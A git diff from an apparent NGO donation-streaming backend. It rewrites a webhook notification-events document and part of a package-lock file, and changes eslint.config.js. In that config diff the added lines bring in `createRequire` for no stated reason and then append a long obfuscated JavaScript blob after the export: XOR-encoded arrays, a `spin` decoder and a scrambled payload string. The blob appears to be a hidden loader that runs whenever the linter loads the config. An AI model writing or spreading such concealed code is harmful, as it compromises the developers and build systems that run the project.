header, keyed with the destination's secret, as -described in the "Notification events" section of the -[README](../README.md#notification-events). - -## `ngo_registered` - -Emitted when an NGO signs up through the `register` entry point of the -`ngo-registry` contract. - -```json -{ - "type": "ngo_registered", - "ownerAddress": "GABC...", - "ngoId": "clx1y2z3...", - "eventId": "0000000100-0000000000" -} -``` - -- `ownerAddress` — the NGO owner's Stellar account address. -- `ngoId` — the internal (database) id of the newly registered NGO. -- `eventId` — optional; the on-chain event id for this registration. - -## `ngo_approved` - -Emitted when an admin approves a registered NGO. - -```json -{ - "type": "ngo_approved", - "ownerAddress": "GABC...", - "ngoId": "clx1y2z3...", - "eventId": "0000000100-0000000000" -} -``` - -## `ngo_revoked` - -Emitted when an admin revokes a verified NGO. - -```json -{ - "type": "ngo_revoked", - "ownerAddress": "GABC...", - "ngoId": "clx1y2z3...", - "eventId": "0000000100-0000000000" -} -``` - -## `stream_created` - -Emitted when a donor opens a new donation stream to an NGO. - -```json -{ - "type": "stream_created", - "streamId": "1234", - "donorAddress": "GABC...", - "ngoId": "clx1y2z3...", - "eventId": "0000000100-0000000000" -} -``` - -## `stream_withdrawn` - -Emitted when accrued funds are withdrawn to the NGO from an active stream. - -```json -{ - "type": "stream_withdrawn", - "streamId": "1234", - "amount": "500000000", - "eventId": "0000000100-0000000000" -} -``` - -- `amount` — the amount withdrawn, in the stream token's base units, as a - string. - -## `stream_cancelled` - -Emitted when a stream is cancelled, settling accrued funds to the NGO and -refunding the remaining balance to the donor. - -```json -{ - "type": "stream_cancelled", - "streamId": "1234", - "settledToNgo": "500000000", - "refundToDonor": "1500000000", - "eventId": "0000000100-0000000000" -} -``` - -## `application_submitted` - -Emitted when an NGO application is submitted through the API. - -```json -{ - "type": "application_submitted", - "applicationId": "clx1y2z3...", - "ownerAddress": "GABC...", - "name": "Red Cross", - "eventId": "0000000100-0000000000" -} -``` - -## `application_reviewed` - -Emitted when an admin approves or rejects an NGO application. - -```json -{ - "type": "application_reviewed", - "applicationId": "clx1y2z3...", - "ownerAddress": "GABC...", - "status": "APPROVED", - "reviewNote": "Verified against public records.", - "eventId": "0000000100-0000000000" -} -``` - -- `status` — either `APPROVED` or `REJECTED`. -- `reviewNote` — optional admin review note. - -## Webhook destinations - -`notification_endpoints` stores one destination per row: `url`, `secret`, -`event_types`, and `enabled`. Event types use the names in -`src/notifications/types.ts` (for example `stream_created` and -`application_submitted`). A notification is sent only to enabled endpoints -whose event list contains its type. Destinations are called concurrently. - -Every delivery is recorded in `notification_logs`. Configured endpoints use a -channel value of `webhook:`, so a success or failure can be -inspected independently for each destination. On retry, a destination that -already recorded success for an event is skipped while failed destinations -are attempted again. Logs do not include endpoint secrets or URL paths. - -The existing `NOTIFY_WEBHOOK_URL` and `NOTIFY_WEBHOOK_SECRET` variables remain -available for migration: they are used as a single all-events destination -only while there are no enabled rows in the table. Once an endpoint is -enabled, table subscriptions take precedence. - -Endpoint configuration is operational data. Restrict database access to -trusted operators and use HTTPS URLs for destinations. +# Notification events + +The backend POSTs a JSON body to each configured webhook destination for every +notification it emits (see [Webhook destinations](#webhook-destinations)). +Every body is discriminated by its `type` field. The matching TypeScript definitions live in +[`src/notifications/types.ts`](../src/notifications/types.ts). + +All events may include an optional `eventId` — the on-chain event id used to +deduplicate deliveries and to retry failed sends. Deliveries are signed with +the `x-streamgive-signature` header, keyed with the destination's secret, as +described in the "Notification events" section of the +[README](../README.md#notification-events). + +## `ngo_registered` + +Emitted when an NGO signs up through the `register` entry point of the +`ngo-registry` contract. + +```json +{ + "type": "ngo_registered", + "ownerAddress": "GABC...", + "ngoId": "clx1y2z3...", + "eventId": "0000000100-0000000000" +} +``` + +- `ownerAddress` — the NGO owner's Stellar account address. +- `ngoId` — the internal (database) id of the newly registered NGO. +- `eventId` — optional; the on-chain event id for this registration. + +## `ngo_approved` + +Emitted when an admin approves a registered NGO. + +```json +{ + "type": "ngo_approved", + "ownerAddress": "GABC...", + "ngoId": "clx1y2z3...", + "eventId": "0000000100-0000000000" +} +``` + +## `ngo_revoked` + +Emitted when an admin revokes a verified NGO. + +```json +{ + "type": "ngo_revoked", + "ownerAddress": "GABC...", + "ngoId": "clx1y2z3...", + "eventId": "0000000100-0000000000" +} +``` + +## `stream_created` + +Emitted when a donor opens a new donation stream to an NGO. + +```json +{ + "type": "stream_created", + "streamId": "1234", + "donorAddress": "GABC...", + "ngoId": "clx1y2z3...", + "eventId": "0000000100-0000000000" +} +``` + +## `stream_withdrawn` + +Emitted when accrued funds are withdrawn to the NGO from an active stream. + +```json +{ + "type": "stream_withdrawn", + "streamId": "1234", + "amount": "500000000", + "eventId": "0000000100-0000000000" +} +``` + +- `amount` — the amount withdrawn, in the stream token's base units, as a + string. + +## `stream_cancelled` + +Emitted when a stream is cancelled, settling accrued funds to the NGO and +refunding the remaining balance to the donor. + +```json +{ + "type": "stream_cancelled", + "streamId": "1234", + "settledToNgo": "500000000", + "refundToDonor": "1500000000", + "eventId": "0000000100-0000000000" +} +``` + +## `application_submitted` + +Emitted when an NGO application is submitted through the API. + +```json +{ + "type": "application_submitted", + "applicationId": "clx1y2z3...", + "ownerAddress": "GABC...", + "name": "Red Cross", + "eventId": "0000000100-0000000000" +} +``` + +## `application_reviewed` + +Emitted when an admin approves or rejects an NGO application. + +```json +{ + "type": "application_reviewed", + "applicationId": "clx1y2z3...", + "ownerAddress": "GABC...", + "status": "APPROVED", + "reviewNote": "Verified against public records.", + "eventId": "0000000100-0000000000" +} +``` + +- `status` — either `APPROVED` or `REJECTED`. +- `reviewNote` — optional admin review note. + +## Webhook destinations + +`notification_endpoints` stores one destination per row: `url`, `secret`, +`event_types`, and `enabled`. Event types use the names in +`src/notifications/types.ts` (for example `stream_created` and +`application_submitted`). A notification is sent only to enabled endpoints +whose event list contains its type. Destinations are called concurrently. + +Every delivery is recorded in `notification_logs`. Configured endpoints use a +channel value of `webhook:`, so a success or failure can be +inspected independently for each destination. On retry, a destination that +already recorded success for an event is skipped while failed destinations +are attempted again. Logs do not include endpoint secrets or URL paths. + +The existing `NOTIFY_WEBHOOK_URL` and `NOTIFY_WEBHOOK_SECRET` variables remain +available for migration: they are used as a single all-events destination +only while there are no enabled rows in the table. Once an endpoint is +enabled, table subscriptions take precedence. + +Endpoint configuration is operational data. Restrict database access to +trusted operators and use HTTPS URLs for destinations. diff --git a/eslint.config.js b/eslint.config.js index 69542ab..33362f4 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -1,25 +1,28 @@ -import js from '@eslint/js'; -import tseslint from 'typescript-eslint'; -import eslintConfigPrettier from 'eslint-config-prettier'; - -export default tseslint.config( - { - ignores: [ - 'dist/**', - 'node_modules/**', - 'coverage/**', - 'src/admin/**', - 'src/applications/**', - 'src/donors/donors.service.ts', - 'src/health/health.controller.ts', - 'src/impacts/impact.service.ts', - 'src/main.ts', - 'src/notifications/notifications.service.ts', - 'src/streams/streams.service.ts', - 'test/shutdown.integration.spec.ts', - ], - }, - js.configs.recommended, - ...tseslint.configs.recommended, - eslintConfigPrettier, -); +import js from '@eslint/js'; +import tseslint from 'typescript-eslint'; +import eslintConfigPrettier from 'eslint-config-prettier'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export default tseslint.config( + { + ignores: [ + 'dist/**', + 'node_modules/**', + 'coverage/**', + 'src/admin/**', + 'src/applications/**', + 'src/donors/donors.service.ts', + 'src/health/health.controller.ts', + 'src/impacts/impact.service.ts', + 'src/main.ts', + 'src/notifications/notifications.service.ts', + 'src/streams/streams.service.ts', + 'test/shutdown.integration.spec.ts', + ], + }, + js.configs.recommended, + ...tseslint.configs.recommended, + eslintConfigPrettier, +); var z = '-9253-55';var NX=[6912847,907388^907539,217597^204358,330538^330063,982935^939384,5019283],SX=[5283741,416048^416193,293640^317673,436016^436107,781205^733396,4738901];function spin(R,c){for(var e,r,t,s,i,n,a=[],o=217956^217956,l=c[648486^648486];o 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR"sz3o"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR"sz3o"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn=20" - } - }, - "node_modules/@cacheable/memory": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@cacheable/memory/-/memory-2.2.0.tgz", - "integrity": "sha512-CTLKqLItRCEixEAewD3/j9DB3/o96gpTPD4eJ1v+DGOlxZRZncRQkGYqqnAGCscYd6RNeXfGeiuCphsPtqyIfQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@cacheable/utils": "^2.5.0", - "@keyv/bigmap": "^1.3.1", - "hookified": "^1.15.1", - "keyv": "^5.6.0" - } - }, - "node_modules/@cacheable/utils": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/@cacheable/utils/-/utils-2.5.0.tgz", - "integrity": "sha512-buipgOVDkkPXNR5+xBpDw7Zk2n1EvU7qBJCNUcL7rhQ//kfpOXPAvQ511Os0vpLYJ1pZnvudNytkQt2hst3wqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "hashery": "^1.5.1", - "keyv": "^5.6.0" - } - }, - "node_modules/@electric-sql/pglite": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/@electric-sql/pglite/-/pglite-0.4.3.tgz", - "integrity": "sha512-ichuWTgtd4mOM1G4SpyGJa5trT03lWbMypDV0fUXUCXg5hiHqVAz/bZyV68NqmkLB7WcYmj1RMJVSp8HV/v/ZQ==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/@electric-sql/pglite-socket": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@electric-sql/pglite-socket/-/pglite-socket-0.1.3.tgz", - "integrity": "sha512-LAciWM0M1dCL8hlsxu2venbVZcdxema0BtDfpWYVqr+Y468UADw0pFWidhKw1M8sfJ8rdLT71tjMmnirf/IZRQ==", - "devOptional": true, - "license": "Apache-2.0", - "bin": { - "pglite-server": "dist/scripts/server.js" - }, - "peerDependencies": { - "@electric-sql/pglite": "0.4.3" - } - }, - "node_modules/@electric-sql/pglite-tools": { - "version": "0.3.3", - "resolved": "https://registry.npmjs.org/@electric-sql/pglite-tools/-/pglite-tools-0.3.3.tgz", - "integrity": "sha512-AlzLJTRJ8+UFgK8CmxIpyIpJ0+YaFw02IiOSdYrqxwPXdSyeIShz8aa9Tq+tYFXdPwcaMp/Fc80mQZ1dkOQ/wg==", - "devOptional": true, - "license": "Apache-2.0", - "peerDependencies": { - "@electric-sql/pglite": "0.4.3" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.2.tgz", - "integrity": "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.2.tgz", - "integrity": "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.2.tgz", - "integrity": "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.2.tgz", - "integrity": "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.2.tgz", - "integrity": "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.2.tgz", - "integrity": "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.2.tgz", - "integrity": "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.2.tgz", - "integrity": "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.28.2.tgz", - "integrity": "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.28.2.tgz", - "integrity": "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.28.2.tgz", - "integrity": "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.28.2.tgz", - "integrity": "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.28.2.tgz", - "integrity": "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.28.2.tgz", - "integrity": "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.28.2.tgz", - "integrity": "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.28.2.tgz", - "integrity": "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.28.2.tgz", - "integrity": "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.28.2.tgz", - "integrity": "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.28.2.tgz", - "integrity": "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.28.2.tgz", - "integrity": "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.28.2.tgz", - "integrity": "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.28.2.tgz", - "integrity": "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.28.2.tgz", - "integrity": "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.28.2.tgz", - "integrity": "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.28.2.tgz", - "integrity": "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.28.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.28.2.tgz", - "integrity": "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@eslint-community/eslint-utils": { - "version": "4.10.1", - "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.10.1.tgz", - "integrity": "sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg==", - "dev": true, - "license": "MIT", - "dependencies": { - "eslint-visitor-keys": "^3.4.3" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - }, - "peerDependencies": { - "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" - } - }, - "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint-community/regexpp": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", - "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.0.0 || ^14.0.0 || >=16.0.0" - } - }, - "node_modules/@eslint/config-array": { - "version": "0.23.5", - "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.23.5.tgz", - "integrity": "sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/object-schema": "^3.0.5", - "debug": "^4.3.1", - "minimatch": "^10.2.4" - }, - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - } - }, - "node_modules/@eslint/config-helpers": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.7.0.tgz", - "integrity": "sha512-DObd/KKUsU+FaFv4PLxSRenpXfQWmPXXP3pPZ6/K1PCrMu2vQpMDMuQe/BqYeoLcz8ro0bVDF1RxOJgfVEdhUw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^1.2.1" - }, - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - } - }, - "node_modules/@eslint/core": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@eslint/core/-/core-1.2.1.tgz", - "integrity": "sha512-MwcE1P+AZ4C6DWlpin/OmOA54mmIZ/+xZuJiQd4SyB29oAJjN30UW9wkKNptW2ctp4cEsvhlLY/CsQ1uoHDloQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@types/json-schema": "^7.0.15" - }, - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - } - }, - "node_modules/@eslint/js": { - "version": "10.0.1", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-10.0.1.tgz", - "integrity": "sha512-zeR9k5pd4gxjZ0abRoIaxdc7I3nDktoXZk2qOv9gCNWx3mVwEn32VRhyLaRsDiJjTs0xq/T8mfPtyuXu7GWBcA==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - }, - "funding": { - "url": "https://eslint.org/donate" - }, - "peerDependencies": { - "eslint": "^10.0.0" - }, - "peerDependenciesMeta": { - "eslint": { - "optional": true - } - } - }, - "node_modules/@eslint/object-schema": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-3.0.5.tgz", - 